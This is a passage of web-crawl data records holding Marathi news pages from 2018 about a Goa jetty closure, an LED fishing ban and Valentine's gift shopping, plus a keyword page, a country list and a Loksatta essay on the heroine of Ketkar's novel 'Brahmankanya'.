पॅडेन्ट, ब्रासलेट, ग्रीटींग्ज कार्ड अशा आकर्षक वस्तू बाजारात उपलब्ध आहेत. 40 पासून ते 5 हजार रुपयांपर्यंतच्या वस्तू बाजारात आल्या आहेत.\nशहरातील गणपत गल्ली, पांगुळ गल्ली, खडेबाजार, मारुती गल्ली आदी ठिकाणच्या गिफ्ट शॉपमध्ये तरुण व तरुणींची व्हॅलेंटाईन डे च्या निमित्ताने खरेदीसाठी गर्दी दिसून येत आहे. 7 पासूनच विविध डेज ना सुरुवात 7 फेब्रुवारीपासून विविध डेची लगबग सुरू होते. 7 रोजी डे, 8 फेब्रुवारी प्रपोज डे, 9 फेब्रुवारी चॉकलेट डे, 10 फेब्रुवारी टेडी डे, 11 फेब्रुवारी प्रॉमिस डे, 12 फेब्रुवारी हग डे, 13 फेब्रुवारी किस डे आणि शेवटी व्हॅलेंटाईन डे असे दिन साजरे केले जातात.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/Panaji-donapavala-jetty-road-closed-issue/", "date_download": "2018-09-25T17:25:57Z", "digest": "sha1:KY2PNVDL6X26U6YMUKSCMND2VFGFD3RO", "length": 7159, "nlines": 37, "source_domain": "www.pudhari.news", "title": " दोनापावला जेटी एकाबाजूने होणार बंद | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › दोनापावला जेटी एकाबाजूने होणार बंद\nदोनापावला जेटी एकाबाजूने होणार बंद\nगोव्याला भेट देणार्‍या जगभरातील पर्यटकांचे आकर्षणाचे केंद्र असलेली दोनापावला जेटी आता एका बाजूने बंद करण्यात येणार आहे. सदर जेटीचे बांधकाम जीर्ण झाले असून ते पर्यटकांना धोकादायक ठरण्याची भीती प्रशासनाने व्यक्त केली आहे. उत्तर गोवा जिल्हाधिकारी नीला मोहनन यांच्या अध्यक्षतेखाली बुधवारी झालेल्या बैठकीत जेटीकडे जाणारा रस्ता बंद करण्यास मान्यता दिली असून तसा आदेश गुरुवारी(आज) जारी करण्यात येणार आहे, असे त्यांनी सांगितले. राजधानीपासून अवघ्या 5 कि.मी. अंतरावर असलेल्या दोनापावला जेटीवर दिवस-रात्र पर्यटकांची गर्दी असते. खार्‍या पाण्याच्या सततच्या मार्‍याने या जेटीखालील लोखंडी सळ्या गंजल्या असून अनेक ठिकाणी सिमेंट काँक्रीटचे तुकडे पडलेले आहेत. जेटीवरील लोखंडी कठडे आणि विजेचे शोभिवंत दिवेही कोसळले असून\nबाकडीही मोडकळीस आलेली आहेत.\nया जेटीच्या सक्षमतेबद्दल 2015 साली गोवा साधन सुविधा विकास महामंडळाने केलेल्या सर्वेक्षणात जेटीची एक बाजू पूर्णपणे कोसळण्याच्या मार्गावर असून ते बांधकाम मोडून नव्याने बांधण्याची गरज असल्याचे नमूद केले होते. पणजीच्या विकासासाठी स्थापन केलेल्या ‘इमॅजिन पणजी स्मार्ट सिटी लि.’ कडे हा अहवाल पोहचला असून आता या जेटीचे काम केंद्राच्या ‘स्मार्ट सिटी’ योजनेअंतर्गत करण्यात येणार आहे,असे सूत्रांनी सांगितले. मोहनन म्हणाल्या, की ‘जीएसआयडीसी’ ने जेटीसंदर्भात दिलेल्या अहवालावर बैठकीत चर्चा करण्यात आली. जेटीकडे जाणार्‍या एका बाजूचा पूल आणि काही भाग हा कमकुवत झाला असून तो पर्यटकांना तसेच स्थानिकांसाठी धोकादायक आहे. यासाठी या भागात जाणारा रस्ता फेब्रुवारी महिन्यात कधीही बंद केला जाऊ शकतो. याबाबत गुरुवारीच आदेश काढला जाणार आहे.\nफेरीवाल्यांना 7 दिवसांची मुदत\nजेटीचा भाग बंद करण्यापूर्वी या आदेशाचा परिणाम होणार्‍या सर्व फेरीवाल्यांना 7 दिवसांची तात्पुरत्या स्थलांतरासाठी मुदत दिली जाणार आहे. मनपाकडून या फेरी विक्रेत्यांसाठी स्वतंत्र व्यवस्था केली जाणार आहे. या भागाचे बांधकाम पूर्ण होईपर्यंत ही बंदी लागू होणार आहे. जलक्रीडांवर या आदेशाचा कोणताही परिणाम होणार नाही, असे जिल्हाधिकारी मोहनन यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Goa/Panaji-led-fishing-materials-seized/", "date_download": "2018-09-25T17:15:28Z", "digest": "sha1:7CMBRRKQLBAQPMHYPLNIREG6SAEXQ4NB", "length": 6700, "nlines": 50, "source_domain": "www.pudhari.news", "title": " एलईडीच्या साहाय्याने मासेमारी करणार्‍यांचे साहित्य जप्त करा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Goa › एलईडीच्या साहाय्याने मासेमारी करणार्‍यांचे साहित्य जप्त करा\nएलईडीच्या साहाय्याने मासेमारी करणार्‍यांचे साहित्य जप्त करा\nएलईडीव्दारे मासेमारी करताना आढळल्यास संबंधित मच्छीमाराचे साहित्य जप्त करावे, असे आदेश मत्स्योद्योग मंत्री विनोद पालयेकर यांनी मंगळवारी मत्स्योद्योग खात्याला दिले. यासाठी विशेष पथकांची नियुक्ती करून त्या संबंधीचा अहवाल दर आठवड्याला सादर करावा, असेही मंत्री पालयेकर यांनी आदेशात म्हटले आहे. यासंबंधीची माहिती मंत्री पालयेकर यांनी ट्वीटरद्वारे दिली आहे. केंद्र सरकारकडून एलईडीव्दारे केल्या जाणार्‍या मासेमारीवर मागील महिन्यात देशव्यापी बंदी घालण्यात आली आहे. या पार्श्‍वभूमीवर वरील आदेश देण्यात आला आहे.\nएलईडी मासेमारीवर बंदी घालण्यात आल्याने एलईडीव्दारे मासेमारी करताना कोणी आढळून आल्यास संबंधितांवर कडक कारवाई करावी. एलईडीव्दारे होणार्‍या मासेमारीमुळे स्थानिक पारंपरिक मच्छीमारी व्यवसायाला फटका बसत असल्याने त्यावर बंदी घातली जावी, अशी मागणी पारंपरिक मच्छीमारांनी केली होती. सरकारचे या मागणीकडे लक्ष वेधण्यासाठी गेल्या वर्षी पारंपरिक मच्छीमारांनी पणजीत आंदोलनही केले होते. मंत्री पालयेकर यांनी आपल्या ट्वीटर संदेशात म्हटले आहे की, राज्यात एलईडी मासेमारी बंदीची कडक अंमलबजावणी करण्याच्या हेतूने मत्स्योद्योग खात्याला विशेष पथकांची नियुक्ती करण्यास सांगितले आहे.\nयाबाबत कुठलीही तडजोड केली जाणार नसून खात्याकडून यासंबंधी नियमितपणे माहिती घेतली जाणार आहे. दरम्यान, मंत्री पालयेकर यांनी दिलेल्या आदेशाचे पारंपरिक मच्छीमारांकडून स्वागत करण्यात आले आहे.\nनाताळनंतर पर्यटक परतीच्या वाटेवर\nउत्तर कर्नाटकला 0.3 टीएमसी पाणी पुरेसे\nकर्नाटकला एक थेंबही पाणी देणार नाही : विनोद पालयेकर\nडिचोलीत गोवा सुरक्षा मंचची निदर्शने\nग्राहक हक्क रक्षणासाठी सदैव तत्पर\nगोवा धनगर समाज सेवा संघ वर्धापनदिनी विविध कार्यक्रम\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%95%E0%A4%B9%E0%A4%BE%E0%A4%A3%E0%A5%80/word", "date_download": "2018-09-25T17:27:08Z", "digest": "sha1:HYF4CG6STQIHPJTNHDWRRKQWNRPEBZ3W", "length": 8063, "nlines": 107, "source_domain": "www.transliteral.org", "title": "Keyword - कहाणी", "raw_content": "\nजननशांतीचे महत्व स्पष्ट करा \nपौराणिक कथा - कहाणी\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कथा उच्च संस्कृतीच्या प्रतिक आहेत. Indian Mythology is one of the richest elements of Indian Culture. T..\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मातील पुराणे अतिप्राचीन असून त्यातील कहाण्या उच्च संस्कृतीच्या प्रतिक आहेत.\nहिंदू धर्मात स्त्रियांना उपनयनाचा धर्मसंमत अधिकार का नाही\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "http://xn--mlestba-eebe.eu/?lg=mr", "date_download": "2018-09-25T16:40:51Z", "digest": "sha1:NEMVWY7PCCMSZ6HZEGRD43UFQKNMNEHS", "length": 6654, "nlines": 113, "source_domain": "xn--mlestba-eebe.eu", "title": "Mīlestība", "raw_content": "\nअफगाणिस्तानअल्बेनियाअल्जेरियाअंडोराअंगोलाअंगुलियाआंटिग्वा आणि बारबुडाअर्जेंटिनाअर्मेनियाअरुबाऔस्ट्रेलियाऑस्ट्रीयाअजरबईजनबहामासबहरिनबांग्लादेशबार्बडोसबेलारुसबेल्जियमबेलिझबेनिनबर्मुडाभूतानबोलिवियाबोस्निया आणि हर्जेगोविणाबोत्स्वाणाब्राजीलबृणे दरुस्लामबल्गेरियाबरकिना फासोबुरुंडिकंबोडियाकामेरूनकॅनडाकेप वार्डेचाडचिलीचीनकोलंबियाकोमोरोसकोंगोकुक बेटेकोस्टा रिकाकोट डी इवोरक्रोएशियाक्युबासायप्रसचेक गणराज्येडेन्मार्कडोमीनिक गणराज्येएक्वेडोरइजिप्तएल सल्वेडोरइक्व्याटोरियल गुनियाएरित्रीयाइस्टोनियाइथियोपियाफेरो बेटेफिजीफिनलंडफ्रांसफ्रेंच पोलीनेसियागबोनगांबियाजोर्जियाजर्मनीघानाग्रीसग्रीनलंडग्रेनेडाग्वाडेलोपग्वाटेमालागिनियागिनिया - बिसाऊगयानाहैतीहोंडूरासहाँग काँगहंगेरीआइसलॅंडइंडियाइंडोनेशियाइराणइराकआयर्लंडइस्राइलइटलीजमेकाजपानजॉर्डनकझाकिस्तानकेनियाकिरीबातीकोरियाकुवेतकिर्गीस्तानलाओसलट्वियालेबेनानलेस्थोलिबेरियालिबियालायच्टेंस्टीनलिथ्वानियालग्झेंबर्गमकाऊमेसेडोनियामादागास्करमलावीमलेशियामालदिवमालीमाल्टामार्टिनिकेमॉरिशसमेक्सिकोमोल्डोवामोनाकोमांगोलियामोंटेनेग्रोमोरोक्कोमोझांबिकम्यानमारनामिबियानेपाळनेदरलाण्ड्सनेदरलाण्ड्स आंटिलिसन्यु सेलेडोनियान्यूझीलंडनिकरागवानायजेरनायजेरियानोर्वेओमानपाकिस्तानपनामापापुआ न्यु गिनियापराग्वेपेरुफिलिपिन्सपोलंडपोर्तुगालकताररियुनियनरोमेनियारशियारवंडासेंटकिट्स आणि नेविससेंट लुशियासेंट पीएर आणि मिक्वेलोनसेंट विनसेंट आणि द ग्रेनाडीनसमोआसान मारिओसाओ टोम आणि प्रिन्सिपीसौदी अरबसेनेगलसर्बियासियेरा लिओनसिंगापूरस्लोवाकियास्लोवेनियासलोमन बेटेसोमालीयादक्षिण आफ्रिकास्पेनश्रीलंकासुदानसूरीनामेस्वाझीलंडस्वीडनस्वित्झर्लंडसिरियातैवान, जपान अधिकृतताजिकिस्तानटांझानियाथायलंडटोगोत्रिणीदाद आणि टोबेगोट्यूनिशियातुर्कीतुर्कमेणिस्तानतर्क्स आणि सायकोस बेटेत्वालूयुगांडायुक्रेनअरब संघराज्येयूनायटेड किंगडमयूनायटेड स्टेट्सयूनायटेड स्टेट्स मायनर आऊटलेईंगउरग्वेउझ्बेकिस्तानवनवाटूव्हेनेजुएलावियतनामयेमेनझांबियाजिंबाब्वेपूर्व तिमोरKosovoVaticanRepublic of Seychelles\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.54, "bucket": "all"} {"url": "https://www.loksatta.com/streetvache-rupbandh-news/article-on-dr-shridhar-venkatesh-ketkar-novel-brahman-kanya-main-character-kalindi-1629450/", "date_download": "2018-09-25T17:46:12Z", "digest": "sha1:NWWYAQ4N5M63MQVXSBGK3HPZVYCWEC7V", "length": 28025, "nlines": 212, "source_domain": "www.loksatta.com", "title": "article on dr shridhar venkatesh ketkar novel Brahman Kanya main character Kalindi | कालिंदी | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nकालिंदी, अप्पासाहेब डग्गे या सुधारणावादी वकिलाची मुलगी आहे. ती बी.ए.च्या वर्गात शिकते आहे.\nडॉ. श्रीधर व्यंकटेश केतकर यांच्या ‘ब्राह्मणकन्या’ (१९३०) या कादंबरीची नायिका कालिंदी हिला ग. त्र्यं. माडखोलकरांनी त्या काळी ‘उन्मार्गगामी’ असे दूषण दिले आहे. पण तिच्या मनात चाललेली आंदोलने पाहता, ती उच्छृंखल, स्वार्थी, कुळाला बट्टा लावणारी, स्वैरतेत आनंद मानणारी, विषयसुखाला लालचावलेली अशी वाटत नाही. त्या काळातल्या नीतिअनीतीच्या कल्पनांमुळे समाजाच्या टीकेचा विषय झालेली, पण तरीही निग्रहाने स्वत:च्या विवेकावर विसंबून राहिलेली कालिंदी आजच्या काळातही सुसंगत आणि महत्त्वाची वाटते.\nडॉ.श्रीधर व्यंकटेश केतकर यांच्या ‘ब्राह्मणकन्या’ (१९३०) या कादंबरीची नायिका कालिंदी ही केतकरांची मानसकन्या आहे. स्त्रीने जसे असायला हवे, असे या समाजशास्त्रज्ञ लेखकाला वाटत होते तशी त्याने ही ‘कालिंदी’ उभी केली आहे.\nकालिंदी, अप्पासाहेब डग्गे या सुधारणावादी वकिलाची मुलगी आहे. ती बी.ए.च्या वर्गात शिकते आहे. तिचे लग्नाचे वय झाले आहे. वडिलांना वाटत होते, मी ज्याप्रमाणे प्रत्यक्ष रखेलीच्या मुलीशी लग्न केले त्याप्रमाणे माझ्या मुलीचे रूप आणि गुण पाहून कोणीतरी तरुण तिच्याशी लग्न करायला पुढे येईलच. पण तसे झाले नाही. कालिंदीला मागणी घालणारे पत्र एका सुशिक्षित आणि हुशार तरुणाकडून आले, पण तो नायकीणीचा मुलगा होता. कालिंदीची आई शांताबाई ही मंजुळा नावाच्या रखेलीची मुलगी होती. त्या ‘कुलहीन’ स्त्रीशी लग्न करण्यात त्यांचा हेतू ‘जातिभेद मोडण्याचा’, ‘ब्राह्मण जातीला उदार बनविण्याचा’ आणि ‘समाजात सुधारणा करण्याचा’ होता. ‘आपण शांताबाईशी लग्न केले ते आपले कुटुंब नायकिणीच्या वर्गात ढकलण्यासाठी केले नाही, तर नायकीण वर्गातील मुलीस चांगल्या वर्गातदेखील जाता येणे शक्य आहे हे सिद्ध करण्यासाठी, पतितांस नवी आशा उत्पन्न करण्यासाठी केले’ असे आप्पासाहेबांनी पुन्हा बजावताच कालिंदी म्हणते, ‘तुमच्या औदार्याने तुमची नुकसानी काय झाली तर श्राद्धाकरता भिक्षुक आले नाहीत अशा प्रकारची ना तर श्राद्धाकरता भिक्षुक आले नाहीत अशा प्रकारची ना तुम्हाला स्वत:ला कमीपणा आला नाही. तुम्ही अजून ब्राह्मणच आहात पण आम्ही कोठे ब्राह्मण आहोत तुम्हाला स्वत:ला कमीपणा आला नाही. तुम्ही अजून ब्राह्मणच आहात पण आम्ही कोठे ब्राह्मण आहोत\nलग्नाच्या संदर्भात कालिंदीसमोर निर्माण झालेल्या प्रश्नाचे उत्तर तिने स्वत:च शोधून काढले, तिने कॉलेज सोडले, घर सोडले, आणि शिवशरण अप्पा नावाच्या लिंगायत, तंबाखूची वखार असणाऱ्या व्यापाऱ्याची रखेली होऊन राहणे तिने पत्करले. शिवशरण अप्पा तिच्या आई-वडिलांच्या परिचयाचा होता, पण त्याची रखेली म्हणून राहण्याचा तिचा हा निर्णय समाजाला धक्का देणारा आणि वडिलांना संताप आणणारा होता. अप्पासाहेब डग्गे यांना तिचा राग आला तो तिने स्वत:चे अकल्याण केले म्हणून आला नाही तर तिने आपली अपकीर्ती केली म्हणून आला. कालिंदीचा धाकटा भाऊ सत्यव्रत याच्याशी कालिंदी नेहमी चर्चा करीत असे. त्याला आपल्या बहिणीबद्दल आदर होता. ती प्रामाणिक, इतरांच्या दोषांकडे दयाद्र्रि दृष्टीने पाहणारी आहे असे त्याचे मत होते. पण कालिंदीचे हे कृत्य अविचारीपणाचे आहे, असा वेडेपणा तिच्याकडून झाला तरी कसा असा प्रश्न त्याला पडला. एकदा तिची भेट झाल्यावर त्याने तसे तिला विचारले तेव्हा ती म्हणाली, ‘मी ती नीतिभ्रष्ट असेन पण अविचारी नाही.’ आपल्या भवितव्याबद्दल तिने खूप विचार केला आहे. ‘ज्या जातीला सर्वच जाती तुच्छ समजतात त्या जातीकडेच आपल्याला वळणे भाग आहे’ ती म्हणते, ‘जातिभेद मोडावा असे म्हणणे फॅशनेबल झाले आहे. तो मोडावा म्हणून सात्त्विक वा तात्त्विक, इच्छा व्यक्त करणारा वर्ग अस्तित्वात आहे पण इच्छिणारा वर्ग नाही.’ सडेतोडपणा, स्पष्टवक्तेपण हा तिचा स्वभाव आहे- ‘कायदेशीर लग्नाचा हेतू, मुलांना पैसे मिळावे, आपल्याला अन्नवस्त्र मिळावे आणि मुलांना अधर्मसंतती कोणी समजू नये एवढाच आहे. मला होणारी मुले कोणीही कुलीन मानणार नाही, तर विवाहसंस्था माझ्याबाबतीत निरुपयोगीच ठरते. केवळ पैशांसाठी मी स्वत:ला विकणार नाही. मला अविचारी, उच्छृंखल म्हटले तरी चालेल. पण पैशांसाठी प्रेमसंबंध जोडला असे माझे वर्णन व्हायला नको.’ असे म्हणणारा.\nकालिंदीला झालेला मुलगा पाहायला तिची आई जाते तेव्हा ती बरीच सुखात आहे, चैनीत जगते आहे असे शांताबाईला वाटते. ‘पुरुष ठेवलेल्या बाईची बडदास्त चांगली ठेवतात पण लग्नाची म्हणजे हक्काची बायको त्यांना कवडी मोल वाटते’ असा उद्गारही ती काढते. पण कालिंदी मनाने स्वस्थ नाही. आपण जे केले ते गैर झाले असे तिला वाटू लागले आहे. शिवशरणलाही तिचा हळूहळू कंटाळा येऊ लागला आहे. त्या दोघांमध्ये अंतर होतेच. मुख्य म्हणजे बौद्धिक आणि सांस्कृतिक फरक होता. त्याच्या सुशिक्षिततेच्या मर्यादा कालिंदीला जाणवू लागल्या होत्या. कालिंदीला इतमामात ठेवण्यात येणारा खर्च त्याला झेपेना. ‘कालिंदी हे एक फारच महाग खेळणे आहे’ असे त्याला वाटू लागले. आणि ‘तो आपली योग्यता रममाण होण्यास उपयोगी स्त्री’ समजतो आहे, असे कालिंदीला वाटू लागले. ‘आपण पैशासाठी त्याला चिकटून आहोत. आपल्या मुलाला हक्काने काही मिळेल असे आपण काही केले नाही, दुसऱ्या एका बाईच्या सौख्यावर आपण कुऱ्हाड घालतो आहोत, आपला मुलगा आपल्याकडे उपरोधाने पाहतो आहे, तू माझे बरे केले नाहीस अशी निर्भर्त्सना करतो आहे..’ असे विचार तिच्या मनात येऊ लागले. आपल्या ‘रखेलीपणाची’ जाणीव तिला होऊ लागली. तिच्यासाठी राहायला घेतलेला बंगला त्याने भाडय़ाने दिला, तिला एका चाळीत नेऊन ठेवले, तिला दिलेले दागिने त्याने परत घेतले, त्याचे वागणे तुटक होऊ लागले. त्यांच्यात आलेल्या दूरत्वाची बातमी कळताच इतर माणसे तिच्याशी ओळख करून घेण्यासाठी येऊ लागली, त्यावरून शिवशरण अप्पा तिला दूषणे देऊ लागला. ज्याच्यासाठी आपण घरादारावर पाणी सोडले तो मनुष्य आपल्या प्रेमाला पात्र नाही, त्याला सोडावे असा विचार तिच्या मनात बळावू लागला.\nत्या काळी ग. त्र्यं. माडखोलकरांनी कालिंदीला ‘उन्मार्गगामी’ असे दूषण दिले आहे. पण तिच्या मनात चाललेली आंदोलने पाहता, ती उच्छृंखल, स्वार्थी, कुळाला बट्टा लावणारी, स्वैरतेत आनंद मानणारी, विषयसुखाला लालचावलेली अशी वाटत नाही. तिने फक्त प्रस्थापित नीतिकल्पनांच्या विरुद्ध बंड केले होते, तिचा निर्णय तिच्या एका प्रेमभंगामुळे आणि समाजाने तिला तुच्छ ठरवल्यामुळे झालेला होता. ब्राह्मणेतर सुशिक्षित जातीतदेखील आपण मिसळून जाणार नाही या नैराश्यातून तिने हे पाऊल उचलले होते. आता ती पुन्हा निराश होते, आत्महत्येचे विचार तिच्या मनात येऊ लागतात. शिवशरणला सोडून ती मुलासह बाहेर पडते. ‘पुरुषापासून द्रव्य उपटणे किंवा त्याच्या पैशावर डामडौलाने राहणे’ हे तिचे ध्येय नव्हते. आत्महत्येचे विचार तिच्या मनात थैमान घालू लागतात. पण तिची मैत्रीण एसतेर तिला भेटते, सावरते, कालिंदीला मुंबईला नोकरी मिळते. रामराव धडफळे नावाच्या वकिलाचे तिला आकर्षण वाटू लागते पण ‘आपल्यासारखी डाग लागलेली स्त्री त्याची बायको व्हावयास नको’ असे तिला वाटते. पुढे आपले अािण आपल्या कुळाचे पूर्वचरित्र ती त्याला सांगते आणि ‘अविवाहित मातृत्वाची लज्जास्पदता काढून टाकण्याची इच्छा असणारा’, तिच्यावर प्रेम करणारा विचारी पुरुष तिच्याशी लग्न करण्याची तयारी दाखवतो.\nकेतकरांनी ‘कालिंदी’ ही तरुणी अतिशय समरसून रंगविली आहे. तिची विचार करण्याची पद्धत, ‘लग्न’ या संस्थेसंबंधी तिने मांडलेली मते, तिच्या मनाची घालमेल, तिची सारासार विवेकबुद्धी, तिरीमिरीत घेतलेल्या एका निर्णयामुळे पाहता पाहता वर्ष-दीड वर्षांत कडेलोटाकडे गेलेले आयुष्य सावरण्यासाठी तिने केलेले प्रयत्न आणि तिची जिद्द, तिचा प्रेमळ स्वभाव एसतेर या बेनेइस्राईल जमातीच्या मैत्रिणीबद्दलची तिची कृतज्ञता आणि स्नेह, रामरावाबद्दल निर्माण होणारे आकर्षण वाहवत जाऊ न देण्यासाठी सुरू असलेली तिची धडपड असे अनेक पैलू तिच्या व्यक्तिमत्त्वात आढळतात. त्या काळातल्या नीतिअनीतीच्या कल्पनांमुळे समाजाच्या टीकेचा विषय झालेली, पण तरीही निग्रहाने स्वत:च्या विवेकावर विसंबून राहिलेली कालिंदी मला आजच्या काळातही सुसंगत आणि महत्त्वाची वाटते.\nकालिंदीची कथा आज पुन्हा वाचताना ‘लग्न आणि लग्नाशिवाय पुरुष सहवास ही सारखीच वाटून एखादी तरुण मुलगी लग्नाशिवाय पुरुष सहवास पत्करत असेल’ तर ती गोष्ट आक्षेपार्ह वाटण्याचे काही कारण नाही, हा प्रश्न उपस्थित करून केतकरांनी जवळजवळ पुढच्या शंभर वर्षांनी उद्भवू शकणारा पेच त्या काळात कल्पिला अािण त्यावर उत्तरेही शोधून पाहिली. स्त्रीने मिळवती होऊन स्वतंत्रपणे जगायला समर्थ झाले पाहिजे हे नि:संदिग्धपणे पटवून दिले. ‘जुन्या भावना आणि नवीन विचार यांच्या कचाटय़ात सापडलेली माणसे’ तर आजही सर्वत्र सापडतात. आर्थिक स्वातंत्र्याच्या जाणिवेने स्त्रीला कित्ती आत्मविश्वास येतो, ती किती निर्भर आणि उदार होते हे कालिंदीच्या रूपाने त्यांनी दाखवून दिले. आणि ‘लग्ने आईबापांच्या इच्छेने ठरवण्याऐवजी ज्यांची लग्ने व्हावयाची आहेत यांच्या इच्छेने ठरली पाहिजेत’ हा विचार आजच्या आई-वडिलांसाठी गेल्या शतकातच लिहून ठेवला.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\n१२ लाखात अनुभवा रेल्वे प्रवासाचा राजेशाही थाट\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष 